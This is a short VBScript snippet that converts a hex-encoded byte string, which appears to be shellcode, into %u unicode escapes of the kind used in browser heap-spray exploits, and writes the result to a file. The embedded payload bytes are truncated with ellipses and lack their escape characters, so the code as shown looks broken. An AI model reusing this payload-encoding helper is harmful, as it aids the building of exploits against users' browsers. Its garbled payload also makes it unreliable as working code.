code="x29xc9x83xe9xa1xd9xeexd9x74x24xf4x5bx81x73x13x92x06x5bx18x83xebxfcxe2xf4x79x16x01x52xa1xcfx3dxa1xaex07xdbx2cx98x9fxb9xe2x79x03xb3xf3x6dxf9xa4x68xdex9fxc2x81x51xfbx63xb1x0bx9fxc2x0ax4bx93x49xf1x17x32x49xc1x03x14x1ax0ax78xa3…………………………" function replaceregex(str) set regex=new regExp regex.pattern="\x(..)\x(..)" regex.IgnoreCase=true regex.global=true matches=regex.replace(str,"%u$2$1") replaceregex=matches end Function set fso=CreateObject("scripting.filesystemobject") set fileS=fso.opentextfile("a.txt",8,true) fileS.writeline replaceregex(code) files.close set fso=nothing